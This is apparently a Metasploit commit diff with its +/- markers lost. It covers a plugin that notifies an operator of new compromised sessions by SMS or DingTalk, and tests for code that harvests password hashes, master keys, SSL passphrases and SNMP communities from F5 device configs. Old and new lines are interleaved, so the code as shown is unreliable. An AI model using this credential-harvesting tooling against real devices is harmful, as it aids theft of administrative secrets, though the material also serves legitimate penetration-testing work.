if session_notifier_subscribed?
print_status('You already have an active session notifier.')
return
end
begin
validate_settings!
self.framework.events.add_session_subscriber(self)
smtp = Rex::Proto::Sms::Model::Smtp.new(
address: self.smtp_address,
port: self.smtp_port,
username: self.smtp_username,
password: self.smtp_password,
login_type: :login,
from: self.smtp_from
)
@sms_client = Rex::Proto::Sms::Client.new(carrier: self.sms_carrier, smtp_server: smtp)
print_status("Session notification started.")
framework.events.add_session_subscriber(self)
if validate_sms_settings?
smtp = Rex::Proto::Sms::Model::Smtp.new(
address: smtp_address,
port: smtp_port,
username: smtp_username,
password: smtp_password,
login_type: :login,
from: smtp_from
)
@sms_client = Rex::Proto::Sms::Client.new(carrier: sms_carrier, smtp_server: smtp)
print_status('Session notification started.')
elsif !dingtalk_webhook.nil?
print_status('DingTalk notification started.')
end
rescue Msf::Plugin::SessionNotifier::Exception, Rex::Proto::Sms::Exception => e
print_error(e.message)
end
end
def cmd_stop_session_notifier(*args)
self.framework.events.remove_session_subscriber(self)
print_status("Session notification stopped.")
def cmd_stop_session_notifier(*_args)
framework.events.remove_session_subscriber(self)
print_status('Session notification stopped.')
end
def cmd_restart_session_notifier(*args)
@@ -148,7 +167,7 @@ module Msf
def on_session_open(session)
subject = "You have a new #{session.type} session!"
msg = "#{session.tunnel_peer} (#{session.session_host}) #{session.info ? "\"#{session.info.to_s}\"" : nil}"
msg = "#{session.tunnel_peer} (#{session.session_host}) #{session.info ? "\"#{session.info}\"" : nil}"
notify_session(session, subject, msg)
end
@@ -158,15 +177,16 @@ module Msf
config_file = Msf::Config.config_file
ini = Rex::Parser::Ini.new(config_file)
ini.add_group(name) unless ini[name]
ini[name]['smtp_address'] = self.smtp_address
ini[name]['smtp_port'] = self.smtp_port
ini[name]['smtp_username'] = self.smtp_username
ini[name]['smtp_password'] = self.smtp_password
ini[name]['smtp_from'] = self.smtp_from
ini[name]['sms_number'] = self.sms_number
ini[name]['sms_carrier'] = self.sms_carrier
ini[name]['minimum_ip'] = self.minimum_ip.to_s unless self.minimum_ip.blank?
ini[name]['maximum_ip'] = self.maximum_ip.to_s unless self.maximum_ip.blank?
ini[name]['smtp_address'] = smtp_address
ini[name]['smtp_port'] = smtp_port
ini[name]['smtp_username'] = smtp_username
ini[name]['smtp_password'] = smtp_password
ini[name]['smtp_from'] = smtp_from
ini[name]['sms_number'] = sms_number
ini[name]['sms_carrier'] = sms_carrier
ini[name]['minimum_ip'] = minimum_ip.to_s unless minimum_ip.blank?
ini[name]['maximum_ip'] = maximum_ip.to_s unless maximum_ip.blank?
ini[name]['dingtalk_webhook'] = dingtalk_webhook.to_s unless dingtalk_webhook.blank?
ini.to_file(config_file)
end
@@ -175,57 +195,81 @@ module Msf
ini = Rex::Parser::Ini.new(config_file)
group = ini[name]
if group
@sms_carrier = group['sms_carrier'].to_sym if group['sms_carrier']
@sms_number = group['sms_number'] if group['sms_number']
@smtp_address = group['smtp_address'] if group['smtp_address']
@smtp_port = group['smtp_port'] if group['smtp_port']
@smtp_username = group['smtp_username'] if group['smtp_username']
@smtp_password = group['smtp_password'] if group['smtp_password']
@smtp_from = group['smtp_from'] if group['smtp_from']
@minimum_ip = IPAddr.new(group['minimum_ip']) if group['minimum_ip']
@maximum_ip = IPAddr.new(group['maximum_ip']) if group['maximum_ip']
@sms_carrier = group['sms_carrier'].to_sym if group['sms_carrier']
@sms_number = group['sms_number'] if group['sms_number']
@smtp_address = group['smtp_address'] if group['smtp_address']
@smtp_port = group['smtp_port'] if group['smtp_port']
@smtp_username = group['smtp_username'] if group['smtp_username']
@smtp_password = group['smtp_password'] if group['smtp_password']
@smtp_from = group['smtp_from'] if group['smtp_from']
@minimum_ip = IPAddr.new(group['minimum_ip']) if group['minimum_ip']
@maximum_ip = IPAddr.new(group['maximum_ip']) if group['maximum_ip']
@dingtalk_webhook = group['dingtalk_webhook'] if group['dingtalk_webhook']
print_status('Session Notifier settings loaded from config file.')
end
end
def is_session_notifier_subscribed?
subscribers = framework.events.instance_variable_get(:@session_event_subscribers).collect { |s| s.class }
def session_notifier_subscribed?
subscribers = framework.events.instance_variable_get(:@session_event_subscribers).collect(&:class)
subscribers.include?(self.class)
end
def send_text_to_dingtalk(session)
# https://ding-doc.dingtalk.com/doc#/serverapi2/qf2nxq/9e91d73c
uri_parser = URI.parse(dingtalk_webhook)
markdown_text = "## You have a new #{session.type} session!\n\n" \
"**platform** : #{session.platform}\n\n" \
"**tunnel** : #{session.tunnel_to_s}\n\n" \
"**arch** : #{session.arch}\n\n" \
"**info** : > #{session.info ? session.info.to_s : nil}"
json_post_data = JSON.pretty_generate({
msgtype: 'markdown',
markdown: { title: 'Session Notifier', text: markdown_text }
})
http = Net::HTTP.new(uri_parser.host, uri_parser.port)
http.use_ssl = true
request = Net::HTTP::Post.new(uri_parser.request_uri)
request.content_type = 'application/json'
request.body = json_post_data
res = http.request(request)
body = JSON.parse(res.body)
print_status((body['errcode'] == 0) ? 'Session notified to DingTalk.' : 'Failed to send notification.')
end
def notify_session(session, subject, msg)
if is_in_range?(session)
@sms_client.send_text_to_phones([self.sms_number], subject, msg)
print_status("Session notified to: #{self.sms_number}")
if in_range?(session) && validate_sms_settings?
@sms_client.send_text_to_phones([sms_number], subject, msg)
print_status("Session notified to: #{sms_number}")
end
if in_range?(session) && !dingtalk_webhook.nil?
send_text_to_dingtalk(session)
end
end
def is_in_range?(session)
def in_range?(session)
# If both blank, it means we're not setting a range.
return true if self.minimum_ip.blank? && self.maximum_ip.blank?
return true if minimum_ip.blank? && maximum_ip.blank?
ip = IPAddr.new(session.session_host)
if self.minimum_ip && !self.maximum_ip
if minimum_ip && !maximum_ip
# There is only a minimum IP
self.minimum_ip < ip
elsif !self.minimum_ip && self.maximum_ip
minimum_ip < ip
elsif !minimum_ip && maximum_ip
# There is only a max IP
self.maximum_ip > ip
maximum_ip > ip
else
# Both ends are set
range = self.minimum_ip..self.maximum_ip
range = minimum_ip..maximum_ip
range.include?(ip)
end
end
def validate_settings!
if self.smtp_address.nil? || self.smtp_port.nil? ||
self.smtp_username.nil? || self.smtp_password.nil? ||
self.smtp_from.nil?
raise Msf::Plugin::SessionNotifier::Exception, "All Session Notifier's settings must be configured."
end
def validate_sms_settings?
!(smtp_address.nil? || smtp_port.nil? ||
smtp_username.nil? || smtp_password.nil? ||
smtp_from.nil?)
end
end
@@ -243,10 +287,6 @@ module Msf
remove_console_dispatcher(name)
end
def name
'SessionNotifier'
end
def desc
'This plugin notifies you a new session via SMS.'
end
@@ -266,6 +266,13 @@ RSpec.describe 'hashes/identify' do
end
end
describe 'identify_f5_secure_value' do
it 'returns ' do
hash = identify_hash('$M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc=')
expect(hash).to match ('F5-Secure-Vault')
end
end
describe 'identify_empty_string' do
it 'returns empty string' do
hash = identify_hash('')
+286
View File
@@ -0,0 +1,286 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/auxiliary/f5'
RSpec.describe Msf::Auxiliary::F5 do
class DummyF5Class
include Msf::Auxiliary::F5
def framework
Msf::Simple::Framework.create(
'ConfigDirectory' => Rails.root.join('spec', 'dummy', 'framework', 'config').to_s,
# don't load any module paths so we can just load the module under test and save time
'DeferModuleLoads' => true
)
end
def active_db?
true
end
def print_good(_str = nil)
raise StandardError, 'This method needs to be stubbed.'
end
def print_bad(_str = nil)
raise StandardError, 'This method needs to be stubbed.'
end
def store_cred(_hsh = nil)
raise StandardError, 'This method needs to be stubbed.'
end
def fullname
'auxiliary/scanner/snmp/f5_dummy'
end
def myworkspace
raise StandardError, 'This method needs to be stubbed.'
end
end
subject(:aux_f5) { DummyF5Class.new }
let!(:workspace) { FactoryBot.create(:mdm_workspace) }
context '#create_credential_and_login' do
let(:session) { FactoryBot.create(:mdm_session) }
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
let(:user) { FactoryBot.create(:mdm_user) }
subject(:test_object) { DummyF5Class.new }
let(:workspace) { FactoryBot.create(:mdm_workspace) }
let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) }
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
let(:login_data) do
{
address: service.host.address,
port: service.port,
service_name: service.name,
protocol: service.proto,
workspace_id: workspace.id,
origin_type: :service,
module_fullname: 'auxiliary/scanner/smb/smb_login',
realm_key: 'Active Directory Domain',
realm_value: 'contosso',
username: 'Username',
private_data: 'password',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
end
it 'creates a Metasploit::Credential::Login' do
expect { test_object.create_credential_and_login(login_data) }.to change { Metasploit::Credential::Login.count }.by(1)
end
it 'associates the Metasploit::Credential::Core with a task if passed' do
login = test_object.create_credential_and_login(login_data.merge(task_id: task.id))
expect(login.tasks).to include(task)
end
end
context '#f5_config_eater' do
before(:example) do
expect(aux_f5).to receive(:myworkspace).at_least(:once).and_return(workspace)
end
it 'deals with user passwords' do
data = "auth user admin {\n"
data << " description \"Admin User\"\n"
data << " encrypted-password $6$4FAWSZLi$VeSaxPM2/D1JOhMRN/GMkt5wHcbIVKaIC2g765ZD0VA9ZEEm8iyK40/ncGrZIGyJyJF4ivkScNZ59HWAIKMML/\n"
data << " partition Common\n"
data << " partition-access {\n"
data << " all-partitions {\n"
data << " role admin\n"
data << " }\n"
data << " }\n"
data << " shell none\n"
data << '}'
expect(aux_f5).to receive(:print_good).with("127.0.0.1:161 Username 'admin' with description 'Admin User' and shell none with hash $6$4FAWSZLi$VeSaxPM2/D1JOhMRN/GMkt5wHcbIVKaIC2g765ZD0VA9ZEEm8iyK40/ncGrZIGyJyJF4ivkScNZ59HWAIKMML/")
expect(aux_f5).to receive(:store_loot).with(
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
)
expect(aux_f5).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
jtr_format: 'sha512,crypt',
username: 'admin',
private_data: '$6$4FAWSZLi$VeSaxPM2/D1JOhMRN/GMkt5wHcbIVKaIC2g765ZD0VA9ZEEm8iyK40/ncGrZIGyJyJF4ivkScNZ59HWAIKMML/',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_f5.f5_config_eater('127.0.0.1', 161, data)
end
it 'deals with system keys' do
data = "master-key hash <EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==>\n"
data << ' previous hash <EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==>'
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==')
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==')
expect(aux_f5).to receive(:store_loot).with(
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
)
expect(aux_f5).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
private_data: 'EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==',
jtr_format: '',
username: 'F5 master-key hash',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
expect(aux_f5).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
private_data: 'EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==',
jtr_format: '',
username: 'F5 previous hash',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_f5.f5_config_eater('127.0.0.1', 161, data)
end
it 'deals with host information' do
data = "cm device /Common/f5bigip.ragegroup.com {\n"
data << " active-modules { \"BIG-IP, VE Trial|VTFAAAA-AAAAAAA|Rate Shaping|External Interface and Network HSM, VE|SDN Services, VE|SSL, Forward Proxy, VE|BIG-IP VE, Multicast Routing|APM, Limited|SSL, VE|DNS (1K QPS), VE|Routing Bundle, VE|ASM, VE|Crytpo Offload, VE, Tier 1 (25M - 200M)|Max Compression, VE|AFM, VE|DNSSEC|Anti-Virus Checks|Base Endpoint Security Checks|Firewall Checks|Network Access|Secure Virtual Keyboard|APM, Web Application|Machine Certificate Checks|Protected Workspace|Remote Desktop|App Tunnel|VE, Carrier Grade NAT (AFM ONLY)|PSM, VE\" }\n"
data << " base-mac 00:11:11:a1:a1:a1\n"
data << " build 0.0.9\n"
data << " cert /Common/dtdi.crt\n"
data << " chassis-id 164aaf79-aace-3494-1237671446c7\n"
data << " configsync-ip 10.10.10.222\n"
data << " edition \"Point Release 2\"\n"
data << " hostname f5bigip.home.com\n"
data << " key /Common/dtdi.key\n"
data << " management-ip 1.1.1.1\n"
data << " marketing-name \"BIG-IP Virtual Edition\"\n"
data << " platform-id Z100\n"
data << " product BIG-IP\n"
data << " self-device true\n"
data << " time-zone America/Los_Angeles\n"
data << " version 15.1.0.2\n"
data << '}'
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 Hostname: f5bigip.home.com')
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 MAC Address: 00:11:11:a1:a1:a1')
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 Management IP: 1.1.1.1')
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 Product BIG-IP')
expect(aux_f5).to receive(:print_good).with('127.0.0.1:161 OS Version: 15.1.0.2')
expect(aux_f5).to receive(:store_loot).with(
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
)
aux_f5.f5_config_eater('127.0.0.1', 161, data)
end
it 'deals with SSL Keys' do
data = "sys file ssl-key /Common/f5_api_com.key {\n"
data << " cache-path /config/filestore/files_d/Common_d/certificate_key_d/:Common:f5_api_com.key_63086_1\n"
data << " passphrase $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc=\n"
data << " revision 1\n"
data << " source-path file:///config/ssl/ssl.key/f5_api_com.key\n"
data << '}'
expect(aux_f5).to receive(:print_good).with("127.0.0.1:161 SSL Key '/Common/f5_api_com.key' and hash $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key")
expect(aux_f5).to receive(:store_loot).with(
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
)
expect(aux_f5).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
private_data: '$M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc=',
jtr_format: 'F5-Secure-Vault',
username: '/Common/f5_api_com.key',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_f5.f5_config_eater('127.0.0.1', 161, data)
end
it 'deals with SNMP' do
data = "sys snmp {\n"
data << " communities {\n"
data << " comm-public {\n"
data << " community-name public\n"
data << " source default\n"
data << " }\n"
data << " rw {\n"
data << " access rw\n"
data << " community-name rwcommunity\n"
data << " }\n"
data << " }\n"
data << '}'
expect(aux_f5).to receive(:print_good).with("127.0.0.1:161 SNMP Community 'public' with RO access")
expect(aux_f5).to receive(:print_good).with("127.0.0.1:161 SNMP Community 'rwcommunity' with RW access")
expect(aux_f5).to receive(:store_loot).with(
'f5.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'F5 Configuration'
)
expect(aux_f5).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
jtr_format: '',
access_level: 'RO',
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
private_data: 'public',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
expect(aux_f5).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
access_level: 'RW',
jtr_format: '',
module_fullname: 'auxiliary/scanner/snmp/f5_dummy',
private_data: 'rwcommunity',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_f5.f5_config_eater('127.0.0.1', 161, data)
end
end
end
@@ -3,10 +3,9 @@ RSpec.shared_examples_for 'Msf::DBManager::Service' do
unless ENV['REMOTE_DB']
it { is_expected.to respond_to :delete_service }
it { is_expected.to respond_to :each_service }
it { is_expected.to respond_to :get_service }
end
it { is_expected.to respond_to :find_or_create_service }
it { is_expected.to respond_to :services }
it { is_expected.to respond_to :report_service }
end
end